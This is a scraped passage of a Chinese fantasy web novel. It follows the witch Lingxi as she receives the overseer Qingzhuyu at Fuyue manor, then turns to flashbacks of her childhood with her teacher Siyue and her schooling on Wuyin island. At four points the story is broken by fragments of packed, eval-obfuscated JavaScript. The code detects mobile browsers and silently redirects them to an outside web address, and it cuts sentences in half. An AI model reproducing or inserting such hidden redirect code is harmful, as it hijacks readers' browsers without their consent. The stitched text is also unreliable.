l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305751|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “跟着就是了,少问。” 离人族城镇最近的这座山上有很多人类活动的痕迹,其中不乏宽宽窄窄、弯弯曲曲的山路。 灵汐带着青竹语从开阔山道走到曲折小径,又从曲折小径走到不得不施术开路的野山,转悠了好一段时间,终于在一处山洞停下:“到了。” 青竹语站在两丈开外,面露警惕地看着黑黢黢的山洞,咬紧了后牙槽道:“你住……这里吗?” 灵汐不免觉得好笑,大家都是巫师,又不像舞刀弄枪的人类攻击范围有限制,站那么远有什么用。 “对啊。”灵汐裂开嘴角,一双金瞳紧紧盯着青竹语。 电光石火间,一股灵压轰然打来,青竹语只觉头脑一沉,便失去意识了。 . 再度恢复意识时,最先映入眼帘的是遮天蔽日的树冠,青竹语迅速架起防备姿态观察周围——青山绿水间坐落着零零散散的建筑群,蜿蜒纵横、高低错落的桥廊阶梯如织似网,远处一棵巨树顶天立地,庇护着偌大的山庄。 灵汐就靠在巨树垂下的一根支柱根上静静看着他,似乎在等他适应过来。 青竹语缓了缓,才找回神志问道:“这是……什么地方?” “扶月山庄。” “你刚才对我做了什么?” “没做什么呀,可能穿过结界时冲击太大,你被震晕了吧?” 当然是骗人的,灵汐还不想让他知道山庄的具体位置,所以随便在外围山体转了转,就封闭了他的感官意识才将他带回山庄。 青竹语看着灵汐揶揄的笑,脸上青红交错,胸前起伏数次,质疑的话眼看着已到嘴边,却最终沉默下来。 灵汐将青竹语引至一处开阔殿室,将桌椅上的灰尘清了清,才请他入座。 青竹语的眉头越来越拧巴:“灵汐巫师,你当真住在这里吗?不会是临时找了个地方糊弄我吧?” 灵汐摊开手无奈道:“有必要吗?你要跟我三年,我糊弄你一天两天有什么用?这里灰尘厚纯粹是因为我懒,我自己用不到的地方从来不打扫。” 青竹语皱着眉头又亲自将桌椅清洁一遍,才缓缓入座。 灵汐又翻出一只茶壶、三只茶杯,慢吞吞地清洗茶具、烧水煮茶,青竹语端端正正坐在椅子上,一双眼睛紧紧追随灵汐的动作。 灵汐到外面花丛采花时,青竹语手中拿着一团金色丝线也跟了出来:“为了保证你时刻都能在我的监督范围,我想我们有必要施一个距离禁制……” “没必要,”灵汐头也没回,“我不会让你施的,如果这是十巫的意思,你就和十巫说我拒绝,再提这种无理要求我就翻脸,她们也可以选新一任监律使了。” 青竹语看着灵汐的背影,坚守职责道:“你境界远超过我,想甩掉我易如反掌,那我怎么保证能时刻监督你呢?” 灵汐转过身来直视青竹语:“那是你自己的事,不要问我怎么解决。灵山派你过来的时候,早就该知道有这种问题了,别和我说你们没讨论过。” 说完后,灵汐并未等待青竹语的回答,便轻巧错身从他身旁经过,朝茶炉走去。 “你这里还有别人?”青竹语低沉的声音从身后传来。 灵汐回头一看,是渡沙处理完后花园的事找过来了。 “哦,这是我的助手,渡沙。” 渡沙走过上上下下的台阶,穿过曲折游廊,没给青竹语一丝眼神,径直走到灵汐面前:“我埋完了。” “埋什么?”青竹语好奇问道。 10. 青竹语 “埋什么?”青竹语问道。 “种子,我教她种花呢。”灵汐夷然自若?,又对渡沙介绍道:“这是青竹语,灵山派来监督我的监律使。” “你好,监律使。”渡沙礼貌地点头问好。 “……你好,渡沙姑娘。”青竹语本能地感到些许怪异,回礼后将疑惑的眼神投向灵汐。 灵汐适时解释道:“她不是姜国人,所以有时候说话会……略显生硬。” . 粉紫花朵被抛入沸水,翻转浮沉间一壶清水被染成红色。 灵汐与青竹语相对而坐,大肚红陶壶飞来飞去给三人斟满茶水,热腾腾的花香便溢满整间殿室。 灵汐将自己和渡沙面前的茶水降到适口的温度,轻啜一口,顿时唇齿盈香,润喉之后,才开始走接待监律使的流程—— “这里房间很多,你想住哪一间就自己打扫,日后也是自己的房间自己清扫。 “山庄里有些地方你不能去,我会给你划清禁区,你明知故犯的话就别怪我不客气——你知道我可以随时感知到你的位置吧? “还有,你既然在这里和我们一起生活,我们三个就得每天轮流做饭,今天是渡沙做,明天我做,后天就是你,你记得准备。” 对上青竹语疑问的眼神,灵汐微微一笑:“渡沙只是我的助手,不是这里的侍从,她不会管你的任何事,你也无权支使她做事。” 青竹语的目光从灵汐移向渡沙:“你的助手?帮你做什么的助手?” “帮你活得更久的助手。” 青竹语:“?” 灵汐歪歪头笑道:“你一个人监督我,我很容易一言不合杀了你的。有她在旁边看着,我会比较愿意做个人。” 灵汐将自己的规矩一一说完,青竹语眉头的疙瘩就没放下去过,但意外地并未提出反对。 直到喝过一轮花茶,青竹语才从怀中万象袋掏出一卷看上去十分有分量的卷轴,解开系带缓缓打开,素白锦帛背面绣着烫金的神鸟建木图腾,正面是工工整整、密密麻麻的靛青小字。 “不管你之前做过什么,从今日起,你的一举一动都要在巫师守则的规范下进行。我再给你温习一下,一,务必维护灵气系统平衡……五,不可利用巫术剥夺他人生命……” “停!听了八万遍了,我倒着都能背了!”灵汐忍无可忍出手制止,卷轴“咻”地合上,从青竹语手中脱出,飞到自己手上,“再听这玩意儿我要发疯了!” 青竹语看着双手间的虚空,默默叹了口气,抬眼望向对面的灵汐:“针对你又多加了一条,请尊重监律使,并配合监律使的工作。” “我现在坐在这还不够配合吗?我还给你煮了茶诶,”灵汐歪在一边扶手上,一手撑着头,“管束期内,我不为难你,你也少烦我,成交?” 青竹语并不接茬,刚正不阿道:“我每天都会记录你的行为并进行初步评估,每五日汇总上报给灵山,如遇特殊情况,无需等待汇报周期,随时上报。” 还真是难以沟通啊,灵汐很少见到明知比自己弱这么多还敢和自己对着干的人,灵山那边不会就是因为看他足够轴才让他来当这个监律使的吧? 不过,对付这种人,就得瓦解他的内心信念,越是坚定不移的信仰,崩塌后反噬得越重。 “灵山为什么派你来干这个活儿?你在灵山人缘很差吗?被排挤了吗?”灵汐上身向前探去,手肘支在交叠的双膝上,一副好奇探究的表情盯着青竹语,“你知道我是天示境吧?那你也该知道就算是巫咸她老人家亲自来,也不一定能看住我的。监律使能不能活着回去,完全是看我心情的。他们让你来,很明显是做好准备牺牲你了啊!” 青竹语面对灵汐的挑衅,却是八风不动、神色泰然:“是我自己主动要求来的。” “走吧,带你参观一下去选房间。”灵汐风一般轻巧掠过,转眼间已至门外。 . 监律使来的第一日。 青竹语并没有穷追不舍地要求灵汐锁下距离限制,在他坚持要和自己住在一个院子时,灵汐也就忍下了反对意见。 两人算是各退一步,维持了暂时和平。 青竹语自己打扫房间时,灵汐和渡沙谁都没有帮忙。 灵汐就坐在廊下躺椅上,一边看着青竹语在院子里进进出出、洗刷清扫,一边给持有她通信竹的好友们发信炫耀自己的传送法阵如今能传送活人了。 赫戏、伊木、牡丹,一个个发过去,所有人的第一反应都是“我来试试”,灵汐又一个个制止道:“不行,现在你们还不能来找我,我这里暂时不方便。” 倒不是忌惮青竹语,只是还不想让所有人都知道自己的空间系能力。 空间系能力并不是灵汐与生俱来的,坦白说,她以前从未听说过这种巫术。是她到了天示境后,对灵气的感应力跃进千百倍,这才领悟了跨越极远距离、连通两处空间的施术之法。 因此,除了缇娅绯娅,巫族还没有人知道灵汐的空间系能力,这算是灵汐秘密武器。 她还不想将这张牌公之于众。 第二日。 灵汐煮的依然是野菜山蕈鱼汤,将找到的所有无毒食物扔进一口锅中煮熟,简单方便又快捷,是灵汐最爱的烹饪方式。 三人分食之后,灵汐便来到巨榕之上,选了枝顺眼的分枝,整个人趴了上去,只垂下红色瀑布般的一头长发。 青竹语就在树下一处观景台盯着灵汐,盯了许久,灵汐一动不动,于是青竹语闭目养神,感应这山间灵气。 神思游走一番,熟悉这方灵气后,青竹语又睁眼看看灵汐,除了毛茸茸的长发随风轻舞,人还是趴在树上一动不动。 就这样修习和监督两不误,直到树顶的日头逐渐向西坠去,青竹语都未发现灵汐动过一丝一毫。 渡沙拿着一碗紫红树莓和一尊青釉方口瓶从青竹语身边走过,顺着藤根桥径直走到灵汐所在树枝。 灵汐睁开眼,方口瓶就被递到面前,瓶口还插着一支从芒萁杆中抽出的茎芯,芒萁茎芯中通,可以作为吸筒使用。 灵汐接过瓶子,几口清甜甘冽的山泉水下肚,顿觉神清气爽。 渡沙又将洗得晶莹剔透的树莓举到两人中间,和灵汐你一颗我一颗地分吃起来。 “有什么收获吗?”渡沙问道。 “这棵树的确生出精灵了,但植物一向对时间没什么概念,而且它大部分时间都在沉睡,只记得以前确实有个叫司月的巫师生活在这里。很久之前是好几个巫师住在这里,后来是司月自己住在这儿,再后来司月也走了。但它也不知道到底是多久之前的事,只记得我师尊是在一个月亮又圆又亮的晚上离开的。” 渡沙:“一个有用的信息都没有吗?” 灵汐:“一个有用的信息都没有啊。” 树莓碗见底,灵汐又蔫蔫地趴回树枝上。 渡沙将水留给灵汐,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青竹语定定看着灵汐,却再也找不到刚才那么浓重的危险气息,只缓缓开口道:“除了睡觉,你没有别的事要做吗?” “比如?” “修习术法、出门历练、了解周边……” “我都已经天示境了,还要做什么?还是你自己加紧修习吧!” 青竹语长长吐息,努力压下火气,□□声线道:“你难道准备就这么躺上三年吗?” “不行吗?”灵汐摆出一副理所当然的样子,“你难道还准备看我做一番大事吗?我在管束期呢,当然是动得越少越好了,做多错多,不如不做。你还指望我去干嘛?” 青竹语仰头看着灵汐,却并无下位之卑。这目不转睛毫不动摇的审视,倒是叫灵汐升起一股不适感。 灵汐抱起双臂,转了转脖颈:“怎么,你来之前没想到会这么无聊吗?那你上赶着来,原本是想看到什么呢?” “我自荐要来,是因为我也很好奇你是怎么走到今天这个地步的。” “什么?” 青竹语低沉的声音响起,是灵汐无论如何也没想到的一句话: “你不记得我了吧?我来自雾隐岛,以前和你是同窗,虽然不同堂,但大家都知道你,来自无尽夏岛的巫师灵汐。” 11. 前尘1 无尽夏是个海岛的名字,因为岛上有漫长的夏天,就连大荒的深冬时节,这座南海海岛也顶多算是有些凉爽。 这里原本是一位天神的辖地。 母神创造巫族后,一部分巫作为神使被派往人族之地,还有些巫被分派给各位天神,作为侍者为天神做些打理仙山、养植仙草、炼制灵药之类的杂事。 五千年前神魔大战,众神陨落,无尽夏岛之主也在其中。此后,那位天神座下负责打理无尽夏的巫侍则一直守在岛上,虽然人丁稀薄,但也传承千年,未曾断绝。 . 从灵汐记事起,岛上便只有师尊和自己两人。 据司月说,她一个人在岛上住了几十年,某天在海边巡视时看到一只大木盆被海浪推上沙滩,木盆被施了浅浅一层保护咒,里面只有个七八月大的婴儿。 就像是得到大海随机赠送的礼物,司月收下了婴儿。 灵汐就这样成为无尽夏岛上一员。 灵汐从小便被司月教导如何感应天地灵气,如何与万物生灵沟通,如何唤起灵气流动…… 等到能记事了,司月便教她识记古语文字、巫术咒语、符文阵法…… 岛上虽然只有两个人,但灵汐从未感到过孤单。 无尽夏面积辽阔,地形复杂,生机繁荣,再加上四周的广袤海洋,灵汐的探险游戏永远没有尽头。 今天去丛林观鸟采花,跑累了就让赤鹿背着她回家; 明天去爬山遇到黑黢黢的山洞,就带只豹猫进去共享视力; 后天到海边悬崖观察海鸟幼鸟的破壳过程,被海鸟父母追着啄,就重新带零食送给他们,才获得在一旁盯鸟蛋的资格; 有时也会到海里采海货,与海豚一起冲浪,随鲸鲵去远海冒险…… 当然,灵汐也栽过不少跟头。 比如尝了一口没见过的果子,转眼就中毒了。 幸亏身上被司月施了同息引,无论是中毒还是受伤,司月都能第一时间察觉并赶来救治。 司月也会借此机会教她认识新的毒物,中毒中得多了,灵汐分辨有毒植物的技能也日渐熟练。 再比如碰到坏天气在海上迷失方向,灵汐只能捏碎脖子上挂着的巫血珠子,司月便能感应到她的位置,像钓鱼收杆一样,用看不见的丝线提着灵汐拉回身边。 而司月就在海岸边等着接人,见到孩子还活蹦乱跳的,只无奈地叹口气,不会说一句责备的话。 灵汐就这样野蛮生长了很多年。 . 无尽夏虽远离大陆,但也不是完全与世隔绝。 在无尽夏东北方百余海里外,还有一座海岛名曰雾隐岛。 两千年前,大荒巫师参与人族政斗引来天殛之劫后,余下的大多巫族纷纷选择隐遁避世,其中一些同族便迁到了远离大陆的雾隐岛上。 雾隐岛上的巫师偶尔也与无尽夏有些来往,来往最密的当属一个年轻巫觋——伏玉。 巫族虽隐世,但每个巫师部落仍要负责维护一方水土的灵气平衡,众巫坚信只要灵气系统维持运转,天神终有回归之日。 雾隐岛每年都会安排巫师轮流去往大荒,探查大陆东南岸一带的灵气状况。 伏玉经常去大陆轮值,回来后总会给无尽夏也送些大荒的新鲜玩意儿,大多是人族时兴的诗歌、画本、布匹、乐器……偶尔也带些岛上没有的花花草草。 自从司月捡了灵汐,伏玉便也开始送些孩子喜欢的玩具和零食,于是灵汐十分好感这位物资使者。 灵汐是个聪明孩子,她早就看出来伏玉叔叔总来岛上送礼物是为了讨好师尊,所以每次吃到喜欢的零食,她就故意和伏玉说“师尊也喜欢吃呢”,下一次伏玉来时她便能如愿以偿,得到更多心爱的零食。 但司月对伏玉始终都是疏离的,每每收到赠礼,也只是礼貌回赠些岛上的珍贵草药。 . 灵汐八岁那年,为了让她体验群体生活,司月与邻岛商议送她去雾隐岛上和同龄巫师一起上学。 第一天上学是伏玉接她去的,乘坐一只名为“流云”的白色大鸢。 流云风驰电掣,不到半个时辰就能横跨两岛,见过不少异兽的灵汐也不由得惊叹她的速度。 伏玉便说日后可以教流云每日接送灵汐上下学。 灵汐初入雾隐岛的第一个念头,是感叹自己师尊一定是个顶级大巫,不然怎么会一巫独占一座岛,而这里却要数千巫挤在一起呢? 雾隐岛看上去甚至还不如无尽夏大呢!不过也可能是人太多了就显得地方小。 后来,事实证明灵汐想得也没错,司月进入无忧境已逾百年,而雾隐岛上这么多巫竟没一个无忧境。 第一天下学回来,司月问灵汐上学好不好玩,灵汐的回答是“他们教的东西我五岁就学会了,好无聊哦……” 司月觉得好笑:“那你就自己找点事做,上课不重要,主要是让你体验一下群居部落的社交环境。” “为什么要体验这个?” “你不是想成为全大荒最厉害的巫师吗?”司月手上灵活又轻柔地给灵汐拆着辫子,“要成为最厉害的巫师,只在无尽夏修习可不行,你迟早要去大陆,去体验不同的灵气系统,总要和不同的人打交道的,现在算是提前准备一下。” “那好吧。”为了最强巫师的目标,灵汐愿意接受暂时的无聊。 然而没过几天,灵汐还真给自己找到了事做,她发现了雾隐岛上的宝地——藏书阁。 藏书阁里的古籍浩如烟海,收集了各种奇奇怪怪的巫咒术法。 灵汐便时常逃课,一个人到藏书阁里消磨时间。 . 不知是不是老天觉得司月一个人太寂寞,故意想给无尽夏添点人气。灵汐上学不到半年,无尽夏就来了一个,不,是两个不速之客—— 这次是灵汐趁着退潮捡海贝时,在沙滩上捡到了两个不省人事的年轻男人。 灵汐那时刚刚达到抚生境,能施些疗愈之术了。 但岛上没有别人,平时只能拿打架受伤的狼、失足摔伤的鹿、先天不足的豹猫幼崽练手…… 见到两个半死不活的人,灵汐简直激动坏了。 于是急忙喊来司月,将两人整齐摆放好,司月在一个人身上做示范,灵汐就在另一个身上学着实操。 灵汐果真天赋异禀,两人都活了下来。 待两人醒来询问得知,他们是一主一仆,主子叫司空钰,随从叫小九。 此番出海是因为司空钰母亲身患重病,民间传说海上有仙岛,岛上有仙药,可生死人、肉白骨、除万疾。 于是司空钰为救母亲,带着家仆乘船出海,寻找仙岛。 司空钰一行向着传说的仙岛方向驶了二十几日,再不返航就要水尽粮绝之时,遇到了海上风暴,樯倾楫摧,舟覆人亡。 大多数随从都葬身鱼腹,只有司空钰和小九抱着同一块浮木,随着洋流漂到了无尽夏。 灵汐听了,觉得他们口中描述的仙岛倒真有几分像是无尽夏。 司月听了,说“我这可没有生死人、肉白骨、除万疾的仙药,你们趁早回家吧。” 司空钰不肯放弃,追着司月求了许久,说仙人神医妙手救下他们主仆二人自己感激不尽,又道不敢贪求那起死回生的仙药,只求能救母亲一命…… 他向司月仔细描述了母亲的病症——严格来说并非生病,而是中毒。 司月思虑许久,道:“这种毒,我岛上的玉魂鬼面花或许可以一治,但是此花珍贵无比,你采走一朵,就得给我种出一朵来才行。” 玉魂鬼面花,专门长在玉石矿脉上,花朵上有形似骷髅头的花纹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305753|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这花生长条件极为严苛,且每株只开一次花,开花散种之后,原株便会逐渐枯萎。 每次开花,司月都会精心保留些种子,撒在原地或环境相似的地方,但无论是自然传播还是司月人为传播的种子,成活率都极低。 那一年的玉魂鬼面花,更是只开了两朵。 “既然是救你母亲,那你就留下来给我种花,种出来才能走,种不出来就拿你的命赔,能接受的话再来找我吧。”司月向司空钰提出了不容更改的条件。 次日,小九带着一朵玉魂鬼面花离开了无尽夏,而司空钰则留在岛上如约种花。 司月倒也没将所有种子押在一个人族身上。 她将花种分成两份,她与司空钰一人一份。 又将适合这花生长的地方划分成了几小块,她和司空钰各分一半、各司其地。 司空钰必须在他那块地上种出花来才算还完债。 这一种就是三年。 还得多亏了灵汐。 如果没有灵汐,可能司空钰这辈子都无法离开无尽夏了。 . 灵汐在草木学上尤为有天赋,但她从小觉得火系巫术专克草木巫师,于是为防天敌,在学习水火两系巫术上最为卖力。 因为觉得草木巫术都很简单,所以更想将时间花在弥补弱点上。 直到遇上玉魂鬼面花。 第一年,司月种出了一株花。 司空钰一株花都没种出来。 这成功引起了灵汐的好奇心——种花有这么难吗?她不理解。 第二年,灵汐也加入了种花小队。 司月种出了两株花,灵汐和司空钰的地界空空如也。 这成功激起了灵汐的挑战欲。 第三年,司月又种出了两株花。 灵汐将所有课余时间都花在了研究玉魂鬼面花上,征用了司空钰的种子和地界,控制各种因素反复尝试,终于在司空钰和自己的地界各种出一株花来。 花开之后,司空钰又留了些时日,但最终还是走了。 司月也并没有说什么。 . 其实灵汐知道,那段时间里,司月和司空钰越来越亲密。 起先只是一起种花,后来一起吃饭、一起看风景,再后来烹茶抚琴、游山玩水。 灵汐下学回岛时,总能看见两人形影不离。 伏玉从大陆轮值回来,带礼物给无尽夏顺便送灵汐下学时撞见司空钰,两人之间可谓是剑拔弩张。 伏玉问怎会有人族在无尽夏,司空钰说自己遭遇船难,多亏司月出手相救。 伏玉介绍自己是“伏龙凤雏”的“伏”,“玉树琼枝”的“玉”,司空钰便说他的名字也是“玉”,不过多一点“金”。 伏玉说某人赖着不走怕是图谋不轨,司空钰便说恐怕图谋不轨的另有其人。 …… 若不是司月出来阻止,灵汐已经在思考若是两人动起手来,自己从哪儿跑最安全。 灵汐没有心思去管师尊喜欢谁的事,那时她一心沉迷种花,上学时翻找古籍,下学后守着花田,失败了就将种子施术复原,一颗种子被来来回回种了许多次,直到连司月都无法复原才被放弃。 再说了,师尊的事也不是她能管得了的。 她以为司空钰离开后这段故事就结束了。 . 直到司空钰离开后第二年。 某个休沐日晌午,睡懒觉的灵汐突然被司月叫醒,她说自己占卜到司空钰将有杀身之祸,她必须要去救他。 她嘱咐灵汐,在她离开的日子里,一个人在岛上要注意安全、按时上学、好好生活,有事的话就先去找伏玉,伏玉会照顾她。 于是灵汐就这么迷迷糊糊地送别了司月。 司月从此再也没有回来。 12. 前尘2 司月离开后,灵汐按照她的嘱咐,一个人按部就班的生活。 这天,灵汐照常逃了草药课,去探索藏书阁。 从角落里随手翻出一卷竹简古籍,没想到内容异常玄妙,灵汐沉浸其中,恨不得逐字记诵。 直到肚子咕咕叫起来,灵汐才惊觉时间流逝——太阳已经西落,学堂早就散学了。 将翻过的书卷还原摆放整齐,灵汐匆匆忙忙跑出藏书阁,一步三阶地越下门前阶梯。 “站住!” 最后一阶上灵汐脚还没站稳,就听到身后传来一道清脆女音。 转头看去,一身藕色衣裙,头顶一对圆圆的发髻,圆脸蛋上一双大眼睛炯炯有神,是和自己一起在无极堂上学的同学,名叫晗林。 晗林身后两只扫把飞舞,墙角堆了圆鼓鼓的落叶堆,大概是轮到她清扫藏书阁了。 “啪嗒、啪嗒”两只扫把纷纷倒在地上,晗林走到灵汐面前叉腰问道:“你刚从藏书阁出来吗?” “你想找人帮你一起打扫吗?”灵汐并未直接回答问题。 晗林歪起一边嘴角,伸出一根食指摇了摇:“不用遮掩了,我刚看到你出来了,你……偷偷跑去禁牍室了吧?” 灵汐脑内警铃大作,面上勉强维持镇定:“没证据的事不要乱说。” “嘿嘿,”晗林又在灵汐眼前摇了摇那根手指,笑眯眯道,“我刚刚打扫过藏书阁内部,再三确认过里面没人,你现在却从里面出来,只有一个可能——你刚刚在禁区!” 雾隐岛藏书阁中收有一些关于禁忌之术的古籍,都被列为禁书,封锁在藏书阁顶部禁牍室,平时有结界封锁,严禁任何巫师踏入。 “你想干嘛?”灵汐警惕问道。 晗林双手叉腰,一只脚掌有节奏地点着地面:“你把长老们设下的结界破掉了吗?” “你到底有没有事?没事我走了。”灵汐作势离开。 “唉——等下!”晗林拉住灵汐,东张西望地瞧了瞧四周,确定无人后才凑近灵汐小声道,“这样吧,不想让长老知道你私闯禁区的话,你就把你的修习方法教给我!” 灵汐:“哈?” 晗林将灵汐从主路拉到墙角,压低声音道:“你逃那么多课,每次考核还能名列前茅,肯定是有什么修习秘法,你分享给我,我就不去告发你!” 灵汐打量着晗林,她认真又紧张的神态不像是开玩笑,于是试探道:“你向母神发誓不会告发我,我就教你。” 晗林立刻三根手指朝天,正色轻声道:“我向万物之主、创世母神起誓,只要你教我修炼,我绝不会向任何人告发你,如若违背誓言,我立刻献祭身魂、化为万物养料!” 灵汐抿抿嘴,考虑片刻答应道:“好啊,成交。” 虽然自己也没什么“秘法”,但灵汐想不到拒绝的理由。 “啊啊啊!太好了!”晗林在嗓子眼挤出小小声的尖叫,又瞧了瞧四周再次确认没有别人,“那我们找个地方开始吧,去我家怎么样?” 刚刚还染红西方半片天的火烧云此时烧得只剩下细细一条,天色越来越暗,灵汐不得不拒绝道:“今天不行,太晚了,我得回家,喂狗。” “啊,这样啊,那明天开始吗?”失落一瞬后晗林又燃起期待的目光。 “你要和我一起逃课吗?” “不行,我不能逃课。” “……那就散学后藏书阁见。” “没问题!” 灵汐正欲离开,小臂上却传来一股阻力,疑惑地看向拦住自己的晗林:“还有事吗?” 晗林语重心长道:“你也别天天逃课了吧,老师们对你都很有意见了。” “老师们不是说只要考核能过关,我上不上课无所谓吗?” 灵汐第一次逃课时,给老师的说辞便是那天教的内容自己都会,通过老师布置的小考后,老师也免去了对她逃课的惩戒。 后来次数多了,灵汐便与所有老师达成约定,只要每月考核都能过关,老师们便不再追究她的出勤情况。 灵汐很疑惑,为什么说好的事,老师还会有意见。 晗林拍了拍灵汐一边肩膀,又语重心长道:“那你也不能一天到晚不见人影吧?好歹去和老师打个招呼吧?不然大家会觉得你傲慢无礼的。” “哦。”灵汐不置可否,敷衍应下。 . 灵汐说要回去喂狗,其实说谎了,家里等着她喂的是只小狼崽。 司月离开后,灵汐自觉担起护卫无尽夏的责任,休沐日时便也学着师尊的样子巡视岛上。 某天在山上巡视时,灵汐遇到了一只被狼群遗弃的幼崽在一处洼地中挣扎求救。 幼崽的状况肉眼可见地非常差,站都站不起来,身上落满了蝇虫,赶也赶不走,都在等待狼崽生命终结的那一刻,想第一个冲上去分食她的尸体。 灵汐本不该插手这自然生态中的一环,师尊曾教过“非必要,不插手”,每个生命的逝去都会滋养另一个生命,最终都会成为大地的养料。 但可能是因为师尊不在,也可能是不满师尊丢下自己、故意违背师尊教导,也可能是小狼崽细弱但不屈的求救声、用尽全力挪动身体想逃脱围剿的身影唤起了灵汐的怜悯之心,总之,灵汐救下了小狼,带回了住处。 仔细检查后,小狼是感染了寄生虫,体内多处感染,且有脏器衰败的迹象。 幸亏灵汐的疗愈系术法已经熟练很多了,这次没有师尊指导也知道该怎么做。 先是小心翼翼地清理了小狼身上各种虫卵,再护住小狼心肺,将寄生虫引出体外毒杀,然后优先治疗重要脏器,恢复其基本机能。 但小狼身体十分虚弱,灵汐也没法将她一下子治愈,只能每天将她喂饱,等她有了力气和营养再一点点帮她治疗恢复。 就这样,小狼在灵汐这里住了下来,灵汐为她取名康康。 经过半个月的治疗,康康的状态已然恢复得很好,灵汐下学回来时,康康已经跑到院门口迎接她了。 不过康康只有两三个月大,还没有捕猎能力,而且她现在还不能剧烈运动,所以每天的食物还是要靠灵汐为她准备。 灵汐先去检查了自己设在院后山坡的陷阱,抓到了一只灰兔子,将兔子烤了给康康吃,自己的晚饭则是煮椰子和芭蕉果。 . 第二日,灵汐先去学堂和老师打了招呼。 今天的课程学的是荣枯术——可以控制植物生长速度和阶段的咒术。 经过玉魂鬼面花的难度,灵汐催生其他植物简直是手到擒来,所以毫无心理负担地逃课去了藏书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305754|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁。 申正初刻,晗林如约来到藏书阁。 灵汐虽然答应教她修习方法,但实际上也不知道该教些什么,只能问晗林有哪些不会的,自己帮她看看问题在哪儿。 晗林拿出课上分发的巴掌大的小花盆和两颗花种,将花种埋入土中,开始念诵咒语。 半刻钟后,晗林的额头和鼻尖已经浸出一层细密汗水,手中花种才生了一株两寸长的小芽。 灵汐在一旁认真观察,似乎发现了问题所在:“你的咒语是对的,但是催生生灵需要调用大量环境中的灵,你调动的灵不够,养料不够它自然长不起来。” 晗林擦掉额上汗珠,有气无力地问:“那怎么才能调动足够多的灵呢?” “嗯……你再试一次我看看。” 晗林再次凝神念咒,灵汐也专心感应周围的灵气流动——速度极慢,仿佛被咒语生拉硬拽着聚集而来,且召动的距离有限。 灵汐好像明白是怎么回事了:“你是不是和这里的灵不熟啊?” “哈?什么意思?”晗林停下咒语,认真求教。 “你和这里的灵交流过吗?”灵汐牵起晗林一只手,带着她一起感应周围灵气,“光背咒语是没用的,想召动灵气,就要先熟悉它们。不同环境里的灵气是不一样的,因为灵质因子不一样,颜色、形状、气味、甚至喜欢的流动方式都不一样。灵质因子聚在一起成为灵气,它们的数量、顺序、排列方式不同,形成的灵气特质也不同,你要多和它们交流,了解它们,按它们喜欢的流动方式引导它们进入你的咒语……” “地脉哺木德,天霖润草心,日月霜华,一沐嘉禾,四时轮转,荣枯随心——” 灵汐念出咒语,四方灵气涌来,一尖嫩芽迅速成长,不多时,绿意挤满花盆,又生出数朵花苞相继绽放,转瞬之间,绿叶之上便缀满粉白小花。 晗林毫不掩饰讶异之色:“天神呐,好快!” 灵汐引着晗林触碰粉白小花,道:“另外,你也要和种子交流,不同种子喜欢的灵质因子是不一样的,你要找到它最需要的几种……” . 就这样在每天半个时辰的一对一指导中,两人的关系越来越好,灵汐算是交到了雾隐岛上的第一个朋友。 又一次月末考核结束,晗林夺得无极堂魁首。 散学后晗林蹦蹦跳跳着邀请灵汐去家里吃饭,灵汐从未去过别人家做客,下意识想拒绝,奈何晗林兴致极高,几番软磨硬泡,灵汐终于松口答应。 两人挽着胳膊走出学堂,晗林边走边念叨:“人族社会常识课你好歹也听一下吧,你要是把这门成绩提上来你就是第一了!我可给你记着呢,这两个月你只来过四次,不是在走神,就是在睡觉……” “这堂课很无聊啊……” “喂!你不觉得一列‘优上’里夹着一个‘差’很难看吗?你不觉得不甘心吗?!” “为什么不甘心?我本来就不……感兴趣……” 两人刚出学堂,才转了一个拐角便遇到了拦路虎。 一个比灵汐高上一头的男巫拦在路中间,头戴白玉飞羽簪、手持莹润剔透的骨制鬼工球,蜜色锦袍上用金线绣着丹鹤飞天纹,腰上佩一串黄玉云纹玉珏。 是两人在无极堂的同学,来自风氏一族的巫觋令杰。 13. 前尘3 “你是?”当时的灵汐并不记得这位拦路虎的名字。 令杰不可置信地瞪圆眼睛,脸色由白转红,手指对着灵汐一点一点:“你、你、你不认识我?” “喂,”晗林拨开令杰颤动的手指,“你是什么大人物吗?非得人人都认识你?” “怎么,你也想装不认识我?”令杰一脸不屑地斜眼看人。 晗林也毫不退让:“我当然认识你啊,这次考核名、列、第、五、的巫觋令杰嘛!但她平时又不来上课,为什么要认识你?你别找茬啊!” 晗林故意加重名次的吐音,令杰气得咬紧牙关:“我又不是来找你的!有你插嘴的份儿吗!” 晗林朝灵汐使了个眼色,撇撇嘴无声暗示:“他急了!” 灵汐没有回应晗林的暗送眼波,只是转头问令杰:“你找我有事吗?” 